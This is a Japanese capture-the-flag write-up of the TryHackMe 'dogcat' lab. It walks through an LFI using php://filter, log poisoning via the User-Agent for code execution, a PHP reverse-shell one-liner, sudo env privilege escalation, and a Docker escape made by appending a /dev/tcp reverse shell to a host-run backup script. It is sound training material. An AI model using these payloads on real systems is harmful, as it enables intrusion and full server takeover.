はじめに
TryHackMeの "dogcat" というルームのWriteupです。
いぬとねこの写真が見れるサイトをハックしていきましょう!
- 難易度 : Medium
目標
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。今回はフラグを4つ取得するのが目標です。
Recon
オープンポート調査
nmapでオープンポートを列挙します。
root@ip-10-10-246-163:~# nmap -Pn -A -T4 10.10.9.107
Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 13:30 GMT
Nmap scan report for ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)
Host is up (0.00078s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (EdDSA)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
MAC Address: 02:2B:12:84:DD:2D (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.78 ms ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.47 seconds
22(ssh), 80(http)が空いているようです。
Webサイト偵察
サイトを見に来ました。
犬のボタンを押すと犬の写真、猫のボタンを押すと猫の写真が表示されるようです。
犬のときのurlがhttp://10.10.9.107/?view=dog
なので、
試しにクエリを?view=rabbit
にしてみます。
怒られてしまいました。次は ?views=dogs
と入れてみました。
先ほどのSorry, onlu dogs and cats are allowed
というエラーメッセージがなくなりましたが、今度はdogs.php
が無いと言ってますね。
- dog か cat のどちらかが入っていないとブロックされる
- dogs と入れると、dogs.php が読み込まれる( .phpが追加される )
Enumeration
ディレクトリスキャン
gobusterでディレクトリスキャンをします。
root@ip-10-10-246-163:~# gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php js html -u http://10.10.9.107
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.9.107
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2024/02/13 13:35:11 Starting gobuster
===============================================================
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 13:36:16 Finished
===============================================================
/cats, /dogs
という気になるディレクトリがありましたが特にめぼしい情報はありませんでした。flag.php
がありますが、phpファイルのため、urlに入れただけではもちろん見れません。
ローカルファイルインクルージョン(LFI)
わからなくなってきたので問題文を見たらヒントがありました。
Exploit a PHP application via LFI and break out of a docker container.
ローカルファイルインクルージョン(LFI)とは?
LFI脆弱性は、攻撃者がWebアプリケーションを通じてサーバー上の任意のファイルを読み込むことを可能にするセキュリティの弱点です。通常、これは不適切に検証されたユーザー入力を通じて発生します。例えば、Webアプリケーションがユーザーからの入力をファイルパスに直接使用し、その入力が適切に検証またはサニタイズされていない場合、攻撃者は任意のファイルを読み込むことができます。
ファイルパスをどうにかすると良いみたいですね。ひとまず、
- クエリにdogがないといけない
- index.phpと同じ階層にdogsというディレクトリがある
- 最後に拡張子.phpがつけられるので
%00
で回避
するアイデアで、以下のURLを見てみます。
http://10.10.105.240/?view=dogs/../../../../../../../etc/passwd%00
エラーが出ました。想定通り拡張子無しで認識されているようですが、ファイルが開けないようです。なぜでしょうか、、、、
flag.php
も気になっているので、以下のURLを見てみます。
http://10.10.105.240/?view=dogs/../flag
エラーは回避できましたがなにも見れません。
テキストファイルやhtmlではなく、PHPのソースコード内にflagがあるからです。
ソースコードを入手する必要がありそうです。
PHPラッパーを利用する
LFI, HackTrick
で調べてみると、良さそうな情報が見つかりました。
php://
フィルターというものを使うことで、ファイルをエンコードをしたものが取得できるようです。試してみましょう。
http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog
とするとハッシュが表示されました。
デコードしてあげると、、、
root@ip-10-10-246-163:~# echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 --decode
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
dog.php
の中身が見れました。10枚の写真からランダムに表示させるプログラムのようです。このままflag.php
も見ていきましょう。
root@ip-10-10-246-163:~# echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 --decode
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
root@ip-10-10-246-163:~#
フラグが取得できました。
同様にindex.php
を見てみましょう。
http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog/../index
にアクセスした結果の文字列をbase64でデコードします。
以下のようなphpコードが見れました。
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
ソースコードをよく見ると、$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
で拡張子が決められているようです。
- extというクエリに何もなければ
.php
- extに指定があればその拡張子
になるみたいなので、extを空白に指定してみましょう。
http://10.10.165.33/?view=dog/../../../../etc/passwd&ext=
これで/etc/passwd
が見れてしまいました。残念ながら/etc/shadow
は見れず。
phpファイルはPHPラッパーを利用して閲覧
テキストファイルはPHPラッパーを利用せずext=
として閲覧
Gaining Access
ログポイズニング(LFI2RCE)
「LFI
を利用してログファイルに仕込んだペイロードを実行する」
という攻撃があるようです。
上記を参考に、User-Agentにペイロードを書き込んでログファイルに仕込み、urlからパラメータcmd
を指定して実行します。BurpSuiteを開いて、HTTPリクエストをRepeaterに送っておきます。まずls
で試してみました。
ls
が実行されているのが分かります。
では、このls
の部分をリバースシェルに置き換えて実行させましょう。今回利用したリバースシェルはこちら。
php -r '$sock=fsockopen("10.8.32.250",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
BurpSuiteのDecoderからリバースシェルをurlが読めるように %エンコード していきます。
エンコードしたものを先ほどのls
の部分に入れてリクエストを送信します。
リスナーを見てみると、リバースシェルが成功していました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.38.206] 51842
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
シェルの安定化を行いたかったのですが、pythonがないためいつもの方法は出来ませんでした。
PrivEsc
侵入できたので権限昇格していきましょう。
$ whoami
www-data
$ sudo -l
Matching Defaults entries for www-data on 3223417acdba:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 3223417acdba:
(root) NOPASSWD: /usr/bin/env
いつも通りsudo -l
をしてみると、env
がsudo権限で実行できるようだったので、CTFObinsで検索してそのまま攻撃コードを実行してみます。
$ sudo env /bin/sh
whoami
root
あっけなくルートになることが出来ました。フラグを探していきます。
find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/root/flag3.txt
cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{L****************b}
cat /root/flag3.txt
THM{D********************2}
フラグが2つ見つかりました。残すはあと1つです!
コンテナエスケープ
最後のフラグがなかなか見つからないので問題文を見てみるとDockerコンテナから抜け出すと書いてありました。
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
.dockerenv
ファイルがあるので、ここはDockerコンテナの中であることが分かります。
cd /
ls -la
total 80
drwxr-xr-x 1 root root 4096 Feb 17 15:35 .
drwxr-xr-x 1 root root 4096 Feb 17 15:35 ..
-rwxr-xr-x 1 root root 0 Feb 17 15:35 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 26 2020 bin
(中略)
Dockerコンテナ内かどうかは、.dockerenv
の有無で判別する
コンテナ内からホストOSに侵入していきます。ホストOSと共有しているフォルダ等がないか調べていたのですが、気になるファイルを見つけました。
cd /opt/backups
ls -l
total 2884
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Feb 26 05:47 backup.tar
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
現在の環境に/root/container
というディレクトリはないので、これはホストOSで実行されるシェルだと思われます。
バックアップするプログラムであることから、定期的にこのbackup.sh
が実行されている可能性が高いため、ここにリバースシェルを仕込んで、ホストOSに侵入します。
以下のリバースシェルを利用しました。
echo "sh -i >& /dev/tcp/10.8.32.250/1234 0>&1" >> backup.sh
backup.sh
に書き込んでリスナーを見てみます。しばらく待つと、、、
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.54.53] 46588
sh: 0: can't access tty; job control turned off
# whoami
root
ホストOSに侵入することが出来ました。
# ls -la
total 40
drwx------ 6 root root 4096 Apr 8 2020 .
drwxr-xr-x 24 root root 4096 Apr 8 2020 ..
lrwxrwxrwx 1 root root 9 Mar 10 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Apr 8 2020 .cache
drwxr-xr-x 5 root root 4096 Mar 10 2020 container
-rw-r--r-- 1 root root 80 Mar 10 2020 flag4.txt
# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_***********_****************}
最後のフラグも無事取得できました。
あとがき
LFI2RCE(LFIの脆弱性を利用してログにリバースシェルを仕込んで実行させる)とコンテナエスケープ (コンテナからホストOSに侵入する)を体験することが出来て非常に勉強になったルームでした。
今回何度もリクエストを微修正して送ったのですが、BurpSuiteのRepeaterが便利で、お気に入りになりました。
また、コンテナ内にホストOSで実行されるバックアップシェルが置いてあるのは普通なんでしょうか?コンテナは安全と思わずに、しっかり対策を行うように注意しましょう。
Try Harder !